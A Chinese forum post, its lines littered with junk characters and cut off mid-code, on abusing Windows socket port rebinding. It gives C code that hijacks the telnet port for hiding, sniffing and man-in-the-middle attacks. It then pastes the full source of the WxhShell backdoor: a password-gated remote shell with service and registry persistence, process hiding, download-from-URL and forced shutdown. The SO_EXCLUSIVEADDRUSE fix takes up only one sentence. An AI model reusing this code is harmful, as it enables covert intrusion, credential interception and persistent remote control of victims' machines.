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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %S nd\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w1#gOwA,$  
(B_\TdQ  
  saddr.sin_family = AF_INET; "xHgqgFyO  
OJ zs Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D-(w_$#  
3G~@H>j  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z1Z1@2 T  
( %xwl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Mo @C9Y0  
K7W6ZH9;  
  这意味着什么?意味着可以进行如下的攻击: B'EKM)dA  
7`8Ik`lY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BT"42#7_  
aKuSd3E@#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h{p=WWK  
~UjGSO)z}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ``e$AS  
*nsAgGKKM^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oDYRQozo>  
<5jzl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y2vUthRwo  
Zx  bq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 glXZZ=j  
iN0nw]_*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "D=P8X&vs  
'-b*EZU8t  
  #include zs*L~_K  
  #include $K'|0   
  #include EEZw_ 1  
  #include    a5!Fv54  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $3uKw!z  
  int main() MFm"G  
  { R&';Oro  
  WORD wVersionRequested; hQHnwr  
  DWORD ret; xD[Gq%  
  WSADATA wsaData; / iV}HV0  
  BOOL val; hcbv;[bG  
  SOCKADDR_IN saddr; A\#P*+k0  
  SOCKADDR_IN scaddr; S'B|>!z@  
  int err; Xo*%/0q'  
  SOCKET s; _({A\}Q|  
  SOCKET sc; mJ`A_0  
  int caddsize; G 0;XaL:  
  HANDLE mt; ^:* 1d \  
  DWORD tid;   ?Wt$6{)  
  wVersionRequested = MAKEWORD( 2, 2 ); *`Yv.=cd  
  err = WSAStartup( wVersionRequested, &wsaData ); JEgx@};O  
  if ( err != 0 ) { Ox'/` Mppw  
  printf("error!WSAStartup failed!\n"); >P $;79<  
  return -1; Eb>78k(3I)  
  } z,:a8LB#[  
  saddr.sin_family = AF_INET; S (N\cw$  
   r~nsN*t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VZ](uFBY  
{Gw.l."  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @%lBrM  
  saddr.sin_port = htons(23); V-r3-b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <u:WlaS  
  { 0#*#a13  
  printf("error!socket failed!\n"); ] 0m&(9  
  return -1; PF7&p~O(Z  
  } JA_BKA  
  val = TRUE; g{9+O7q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -,{-bi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j>/ ,$H  
  { U Gpu\TB  
  printf("error!setsockopt failed!\n"); ;6{@^  
  return -1; N**g]T 0`  
  } [ $T(WGF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4T<Lgb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]a3iEA2 (  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3y~r72J  
{; >Q.OX@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [kgdv6E  
  {  g}U3y'  
  ret=GetLastError(); JHJ~X v  
  printf("error!bind failed!\n"); Q\,o :ZU_  
  return -1; t"YNgC ^  
  } k` (jkbEZ  
  listen(s,2); gOK\%&S]  
  while(1) [e4]"v`N  
  { `\6?WXk3T  
  caddsize = sizeof(scaddr); rJInj>|{=  
  //接受连接请求 eBO@7F$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *d',Vuv&[  
  if(sc!=INVALID_SOCKET) d'Axum@  
  { c9nH}/I_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .ol'.t ,S  
  if(mt==NULL) @ (i!Y L  
  { {?}*1,I  
  printf("Thread Creat Failed!\n"); A?T<",bO  
  break; FsGlJ   
  } 9A7@ 5F  
  } !!nuAQ"E[  
  CloseHandle(mt); h<\_XJJ  
  } 1uk 0d`JL  
  closesocket(s); 3o|I[!2.  
  WSACleanup(); ,mL !(US  
  return 0; o!r8{L  
  }   <JwX_\?ln  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1I}b|6 `  
  { $CE[MZ&S  
  SOCKET ss = (SOCKET)lpParam; C}*cx$.  
  SOCKET sc; ^Mk%z9 ?  
  unsigned char buf[4096]; cbu@*NzY,  
  SOCKADDR_IN saddr; \rV B5|D?  
  long num; D*Q.G8(  
  DWORD val; ')$NfarQ.  
  DWORD ret; lw(e3j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U70]!EaT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F("#^$  
  saddr.sin_family = AF_INET; [|3>MZ2/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 92'wkS  
  saddr.sin_port = htons(23); a3 >zoN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GBC*>Y  
  { N=)z  
  printf("error!socket failed!\n"); Q9`QL3LQD  
  return -1; a%Jx `hx  
  } 35*\_9/#  
  val = 100; 90Hjx>[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2w$t wW-  
  { oiX"Lz{  
  ret = GetLastError(); Sj(F3wY  
  return -1; STA4 p6  
  } ='E$-_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Bz`yfl2  
  { )P>u9=?,=E  
  ret = GetLastError(); .M4IGOvOS  
  return -1; OW(&s,|6x  
  } Ih[+K#t+E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ozr9>b>M  
  { 2`= 6%s  
  printf("error!socket connect failed!\n"); :;!\vfZbU  
  closesocket(sc); #DkD!dW(l  
  closesocket(ss); b( ^^m:(w  
  return -1; swc@34ei\  
  }  oAZh~~tp  
  while(1) cDXsi#Raj  
  { O8N[Jl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O;]?gj 1@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sb:T*N0gS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I6LD)?  
  num = recv(ss,buf,4096,0); ]> Y/r-!  
  if(num>0) L{ymI) Y^  
  send(sc,buf,num,0); 7CB#YP?E  
  else if(num==0) =qvZpB7ZZ  
  break; w h$jr{  
  num = recv(sc,buf,4096,0); '7im  
  if(num>0) dy>|c j  
  send(ss,buf,num,0); - n6jG}01b  
  else if(num==0) RX2{g^V7  
  break; s-V SH  
  } fH8!YQG8$  
  closesocket(ss);  [&P`ak  
  closesocket(sc); Ld|V^9h1;  
  return 0 ; 7nHTlI1 b  
  } g9my=gY  
4rU! 4l  
^`qPs/b  
========================================================== em]xtya  
O hR1Jaed  
下边附上一个代码,,WXhSHELL ZZ)G5ji  
u&TdWZe  
========================================================== 3An(jt$%Q  
1;W=!Fx  
#include "stdafx.h" \T-~JQVj  
`HX3|w6W;  
#include <stdio.h> [D'Gr*5~{  
#include <string.h> 3LlU]  
#include <windows.h> px9>:t[P  
#include <winsock2.h> [B?z1z8l  
#include <winsvc.h> f e $Wu  
#include <urlmon.h> <5Mrp"C[i  
}G1&]Wt_  
#pragma comment (lib, "Ws2_32.lib") ;~sr$6  
#pragma comment (lib, "urlmon.lib") V_L[P9  
Eo{EKI1  
#define MAX_USER   100 // 最大客户端连接数 o+g4p:Mf  
#define BUF_SOCK   200 // sock buffer wy4q[$.4v  
#define KEY_BUFF   255 // 输入 buffer &(&  
'0+$ m=   
#define REBOOT     0   // 重启 XSB8z   
#define SHUTDOWN   1   // 关机 ?(im+2  
iY.eJlfH  
#define DEF_PORT   5000 // 监听端口 :LV.G0)#  
<Ns &b.\h6  
#define REG_LEN     16   // 注册表键长度 ->yeJTsE9  
#define SVC_LEN     80   // NT服务名长度 Uk-HP\C"7  
hr U :Wr  
// 从dll定义API X_70]^XL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sS,#0Qt.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R.7#zhC`4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a%~yol0wO7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \OHv|8!EI@  
$+:(f{Va*  
// wxhshell配置信息 ` X+j2TmS  
struct WSCFG { Rk<%r k  
  int ws_port;         // 监听端口 U7%28#@  
  char ws_passstr[REG_LEN]; // 口令 EE%s<_k`  
  int ws_autoins;       // 安装标记, 1=yes 0=no M g!ra"  
  char ws_regname[REG_LEN]; // 注册表键名 Y5jYmP<  
  char ws_svcname[REG_LEN]; // 服务名 _F8T\f |  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K ~>jApZ%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~5t?C<wo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vO$ra5Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7>x;B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A'DVJ9%xB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bc}dYK3$q  
@ u1Q-:  
}; 56s*A*z$ ;  
-fux2?8M  
// default Wxhshell configuration [(c L/_  
struct WSCFG wscfg={DEF_PORT, jpO38H0)  
    "xuhuanlingzhe", #O</\|aH)i  
    1, V<$*Y>;  
    "Wxhshell", 98<zCSe\]  
    "Wxhshell", Wg1tip8s  
            "WxhShell Service", yH(V&Tv  
    "Wrsky Windows CmdShell Service", [~?M/QI9  
    "Please Input Your Password: ", ?0npEz|  
  1, YY!!<2_  
  "http://www.wrsky.com/wxhshell.exe", 9N}W(>  
  "Wxhshell.exe" om7`w ]  
    }; D9ywg/Q91  
bhKV +oN  
// 消息定义模块 *o|p)lH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %UmbDGDWI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;Prg'R[o;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b]dxlj} <  
char *msg_ws_ext="\n\rExit."; s, -*q}  
char *msg_ws_end="\n\rQuit."; EVSK8T,  
char *msg_ws_boot="\n\rReboot..."; )_O.{$ to  
char *msg_ws_poff="\n\rShutdown..."; Y\u_+CG*  
char *msg_ws_down="\n\rSave to "; /.-m}0h|W-  
aL$j/SC  
char *msg_ws_err="\n\rErr!"; n1)'cS5}  
char *msg_ws_ok="\n\rOK!"; gX"T*d>y  
kv%)K'fU4  
char ExeFile[MAX_PATH]; d H_2 o  
int nUser = 0;  oUS ,+e  
HANDLE handles[MAX_USER]; 8OBF^r44R  
int OsIsNt; g*r/u;  
W]~ZkQ|P  
SERVICE_STATUS       serviceStatus; 2;R/.xI6v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7xR|_+%~K  
$9m5bQcV  
// 函数声明 htg'tA^CtS  
int Install(void); D JJZJ}7  
int Uninstall(void); feg`(R2  
int DownloadFile(char *sURL, SOCKET wsh); dp< au A  
int Boot(int flag); | /#'S&!U  
void HideProc(void); 2?H@$-x>  
int GetOsVer(void); T Xl\hL\+  
int Wxhshell(SOCKET wsl); L)G">T;  
void TalkWithClient(void *cs); r &c_4%y  
int CmdShell(SOCKET sock); Hc /w ta  
int StartFromService(void); ;.r2$/E  
int StartWxhshell(LPSTR lpCmdLine); }1\?()rB  
Y(W{Jd+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rUvwpP"k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DoTs9w|5  
(>r|j4$  
// 数据结构和表定义 &X7ttB"#h  
SERVICE_TABLE_ENTRY DispatchTable[] = ,{TQ ~LP  
{ ,@,LD  u  
{wscfg.ws_svcname, NTServiceMain}, EUXV/QV{  
{NULL, NULL} iGyVG41U  
}; @6[x%j/!bt  
l^BEFk;  
// 自我安装 ?P YNE  
int Install(void) V!}L<cN  
{ u-1@~Z  
  char svExeFile[MAX_PATH]; ,iohfZz  
  HKEY key; eFes+i(35  
  strcpy(svExeFile,ExeFile); 5GUH;o1m  
wz)m{:b<  
// 如果是win9x系统,修改注册表设为自启动 $;ch82UiX  
if(!OsIsNt) { HWOek"}Z[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C,R,:zR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \c FAxL(  
  RegCloseKey(key); H7J`]nr6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $TFTIk*uU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lWIv(%/@  
  RegCloseKey(key); j@_nI~7f}  
  return 0; r8<JX5zyuo  
    } {Wr\D Vp  
  } Vz k cZK  
} #[C< J#;  
else { =sL(^UISl  
6O%=G3I  
// 如果是NT以上系统,安装为系统服务 I S.F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4'_L W?DS  
if (schSCManager!=0) wiKCr/  
{ .M}06,-  
  SC_HANDLE schService = CreateService _82<| NN:  
  ( D@2Ya/c  
  schSCManager, M44_us  
  wscfg.ws_svcname, ?TRW"%  
  wscfg.ws_svcdisp, E]1\iV  
  SERVICE_ALL_ACCESS, $To 4dJb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Q8g?TZ  
  SERVICE_AUTO_START, Ml8E50t>;  
  SERVICE_ERROR_NORMAL, F: f2s:<  
  svExeFile, ?UU5hek+m  
  NULL, {kT#o3,>w6  
  NULL, fHW-Je7mG  
  NULL, %!>k#F^S  
  NULL, s }Xi2^x  
  NULL nz}]C04:-  
  ); 5ZZd.9ZgM  
  if (schService!=0) l85O-g}M  
  { sn2r >m3  
  CloseServiceHandle(schService); I4A ;  
  CloseServiceHandle(schSCManager); !2/l9SUi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1w(<0Be  
  strcat(svExeFile,wscfg.ws_svcname); =lYvj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UU*0dSWr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tbL1g{Dz,  
  RegCloseKey(key); ks)fQFSbu  
  return 0; aA7S'[NjB  
    } Yjpb+}  
  } ;|2U f   
  CloseServiceHandle(schSCManager); e OO!jrT:  
} YmdsI+DbIu  
} 2K5}3<KD/  
cq- e c7  
return 1; *G8'Fjin'T  
} Qf/j:  
,P;8 }yQ  
// 自我卸载 GZ; Z  
int Uninstall(void) <m-Ni  
{ hB?U5J  
  HKEY key; k?!TjBKm  
@WMj^t1D+  
if(!OsIsNt) { E!r4AjaC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ddGkk@CA  
  RegDeleteValue(key,wscfg.ws_regname); O8!!UA8V  
  RegCloseKey(key); 8JQ<LrIt9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }M;sz  
  RegDeleteValue(key,wscfg.ws_regname); _SU,f>  
  RegCloseKey(key); lr)G:I#|  
  return 0; $IZ *|>(  
  } M80}3mgP~  
} _Y}^%eFw  
} y}3 `~a  
else { yYVW"m  
^!zJf7(+<>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /DgT1^&0  
if (schSCManager!=0) <FMuWHY  
{ #g5't4zqx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "j *fVn  
  if (schService!=0) s|Imz<IE  
  { F(0pru4u  
  if(DeleteService(schService)!=0) { %Z-TbOX  
  CloseServiceHandle(schService); Yj|c+&Ng  
  CloseServiceHandle(schSCManager); z:@d@\$?  
  return 0; +]aD^N9['  
  } w*]_FqE  
  CloseServiceHandle(schService); W$x K^}  
  } n^g-`  
  CloseServiceHandle(schSCManager); >KH(nc$  
} !XG/,)A  
} { &6l\|  
[346w <  
return 1; Th I  
} $~;6hnr m  
_R>s5|_  
// 从指定url下载文件 ?STI8AdO  
int DownloadFile(char *sURL, SOCKET wsh) RXCygPT   
{ fSgGQ D4  
  HRESULT hr; 0  /D5  
char seps[]= "/"; IJL^dXCu  
char *token; [kU[}FT  
char *file; gwkZk-f\p  
char myURL[MAX_PATH]; uWM4O@Qn)d  
char myFILE[MAX_PATH]; g[uE@Gaj&  
x<)!$cg  
strcpy(myURL,sURL); ?CL z@u~  
  token=strtok(myURL,seps); _&8KB1~  
  while(token!=NULL) :6HiP&<  
  { z^SN#v$  
    file=token; Au\ =ypK  
  token=strtok(NULL,seps); {d{WMq$  
  } kC,DW%Ls  
1{Sx V  
GetCurrentDirectory(MAX_PATH,myFILE); Bk@_]a  
strcat(myFILE, "\\"); $P1d#;rb%  
strcat(myFILE, file); -v/?>  
  send(wsh,myFILE,strlen(myFILE),0); 3 8ls 4v3  
send(wsh,"...",3,0); Rwi5+;N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <#J<QYF&2  
  if(hr==S_OK) Z:}2F^6  
return 0; ]2u7?l  
else =#PudF.\  
return 1; a*e|>pDO  
$[L)f| l  
} =r@ie>* U  
6.(]}?g1f  
// 系统电源模块 :;#c:RKi:  
int Boot(int flag) ' ]H#0.  
{ :7'0:'0$t  
  HANDLE hToken; j+ T\c2d  
  TOKEN_PRIVILEGES tkp;  T!O3(  
cmC&s'/8`D  
  if(OsIsNt) { TO;]9`~;Mu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3mnLV*aRt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hr_x~n=w  
    tkp.PrivilegeCount = 1; ~>wq;T:=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +O%a:d%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qr xO erp  
if(flag==REBOOT) { 4'u|L&ow  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .x9nWa  
  return 0; |7 W6I$Xl  
} >O[^\H!\  
else { ]mDsUZf<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]'z ^Kt5S  
  return 0; u6CM RZ$  
} 22H=!.DJ  
  } 4<!}4   
  else { yO69p  
if(flag==REBOOT) { Zzzi\5&gU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +HVG5l  
  return 0; K <fq=:I3  
} ^9m^#"ZW`  
else { [pyXX>:M  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j4hUPL7  
  return 0; ,_7tRkn  
} }F9?*2\/  
} #)c;i<Q3S  
trNK9@wT)  
return 1; -_H2FlB  
} ?R~Ye  
1\9BO:<K  
// win9x进程隐藏模块 {:q9:  
void HideProc(void) #'{PY r  
{ laIC}!  
`5aypJf 1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eWt>^]H~  
  if ( hKernel != NULL ) E*#60z7F  
  { "NI>HO.U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d4rJ ?qw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _}%# Yz  
    FreeLibrary(hKernel); f0s<Y  
  } ^IegR>  
[!|d[  
return; !t [%'!v  
} BsG[#4KM:  
&-. eu  
// 获取操作系统版本 97=YFK~*  
int GetOsVer(void) 1Yx[,GyC>&  
{ ry<}DK<u  
  OSVERSIONINFO winfo; Ik2szXh[J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N4JL.(m){I  
  GetVersionEx(&winfo); F[qI fh4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YuZ   
  return 1; C{Xk/Er5<  
  else *d*;M>  
  return 0; |"(3]f\  
} 7=[O6<+o  
J!gWRw5  
// 客户端句柄模块 -O q=J;  
int Wxhshell(SOCKET wsl) 29E@e]Y,`  
{ o\Vt $  
  SOCKET wsh; IF21T  
  struct sockaddr_in client; G6g=F+X2  
  DWORD myID; "I 1M$^8n  
d}G."wnG9,  
  while(nUser<MAX_USER) 6je%LHhL  
{ s)ajy^6'M  
  int nSize=sizeof(client); 1$!K2=%OXj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @9Pn(fd]  
  if(wsh==INVALID_SOCKET) return 1; :a<TV9?H0  
%>}7 $Y%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z["nY&.sI  
if(handles[nUser]==0) ~5?n&pF  
  closesocket(wsh); D&lXi~Z%.  
else ,Onm!LI=  
  nUser++; lfG&V +S1  
  } wtick~)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [~%;E[ky$  
,oVBgCf  
  return 0; ?;QKe0I^  
} =1B&d[3;  
5 /VB'N#7s  
// 关闭 socket nylIP */  
void CloseIt(SOCKET wsh) A>,fG9pR  
{ +mF 2yh  
closesocket(wsh); aD`e]K ^L  
nUser--; zU=[Kc=$  
ExitThread(0); 3cQmxp2*  
} OehB"[;+  
!ZcA Ltq  
// 客户端请求句柄 Cjb p-  
void TalkWithClient(void *cs) 4o8HEq!  
{ M L_J<|,J  
;SP3nU))  
  SOCKET wsh=(SOCKET)cs; ZQ8Aak  
  char pwd[SVC_LEN]; tm#y `1-  
  char cmd[KEY_BUFF];  JS.' v7  
char chr[1]; 0-O.*Q^  
int i,j; 2xxwQwg8  
\O4=mJ  
  while (nUser < MAX_USER) { n;Wf|>  
{oC69n:  
if(wscfg.ws_passstr) { K#yH\fn8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R')GQ.yYq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T$B4DQ  
  //ZeroMemory(pwd,KEY_BUFF); ~x\ Q\Cxp  
      i=0; @WE$%dr  
  while(i<SVC_LEN) { <p8y'KAlc  
K\r=MkA.>  
  // 设置超时 ,;& PKY  
  fd_set FdRead; jpS#'h  
  struct timeval TimeOut; VrP%4P+  
  FD_ZERO(&FdRead); oW9rl]+  
  FD_SET(wsh,&FdRead); gVWLY;c 3}  
  TimeOut.tv_sec=8; QVhBHAw  
  TimeOut.tv_usec=0; c>k6i?u:X7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L(rjjkH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); spDRQ_qq  
!ry+ r!"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PQ|x?98  
  pwd=chr[0]; :G)x+0u  
  if(chr[0]==0xd || chr[0]==0xa) { 4s2ex{$+MA  
  pwd=0; $h f\ #'J  
  break; Nd)o1 {I  
  } ?*dx=UI  
  i++; ps J 1J  
    } =ZL2 0<TeH  
XV!EjD~q  
  // 如果是非法用户,关闭 socket j<5R$^?U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $dUN+9  
} $5 [RR  
\OB3gnR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6g&nnA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Ki#"%S  
5jk4k c  
while(1) { .U {JI\  
S-dV  
  ZeroMemory(cmd,KEY_BUFF); &"0[7zgYQz  
)Jn80~U|1  
      // 自动支持客户端 telnet标准   Q)8t;Kx  
  j=0; 7 4UE-H)  
  while(j<KEY_BUFF) { XcneH jpR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $*ZHk0 7x  
  cmd[j]=chr[0]; Re>e|$.T  
  if(chr[0]==0xa || chr[0]==0xd) { 1(a\$Di  
  cmd[j]=0; u' ][3  
  break; .;s4T?j@w  
  } ak&v/%N  
  j++; ShxX[k  
    } 5eJd$}Lbc  
6Z=H>w  
  // 下载文件 6.=b^6MV  
  if(strstr(cmd,"http://")) { =Q/i< u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); exvsf|  
  if(DownloadFile(cmd,wsh)) zt6ep=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aPgG+tu  
  else $Q4b~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W1(zi P'6  
  } @e/dQ:Fb  
  else { g?sFmD  
p^!p7B`qe.  
    switch(cmd[0]) { ,|/$|$'  
  omu&:) g  
  // 帮助 o~ed0>D-LS  
  case '?': { "f+2_8%s+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \x}UjHYIc&  
    break; :4d7%q  
  } 6;DPGx  
  // 安装 &n wg$z{Y  
  case 'i': { FT=>haN  
    if(Install()) 3dLz=.=)'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8[1E>&vx  
    else $%'z/'o!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r G6/h'!|  
    break; ^DOcw@Z6HC  
    } FW,D\51pTP  
  // 卸载 Y@eUvz  
  case 'r': { ,vj^AXU  
    if(Uninstall()) /zKuVaC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .S;/v--F  
    else 95/C4q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yn/-m Z  
    break; 1F/&Y}X  
    } CXA8V"@&b/  
  // 显示 wxhshell 所在路径 hpu(MX\  
  case 'p': { c#Bde-dh  
    char svExeFile[MAX_PATH]; "AVc^>  
    strcpy(svExeFile,"\n\r"); !T)>q%@ai  
      strcat(svExeFile,ExeFile); 3[4]G@  
        send(wsh,svExeFile,strlen(svExeFile),0); P8f-&(  
    break; mLSAi2Y  
    } +l\Dp  
  // 重启 ZWH`s  
  case 'b': { Ns_d10rZ.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mUxD.;P  
    if(Boot(REBOOT)) w.\:I[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); th{h)( +H  
    else { vP!gLN]TV  
    closesocket(wsh); OJaU,vQ#  
    ExitThread(0); (XQG"G%U6W  
    } Nx__zC^r  
    break; '(}BfDP  
    } VTU-'q  
  // 关机 Rx.0P6s  
  case 'd': { nYHk~<a  
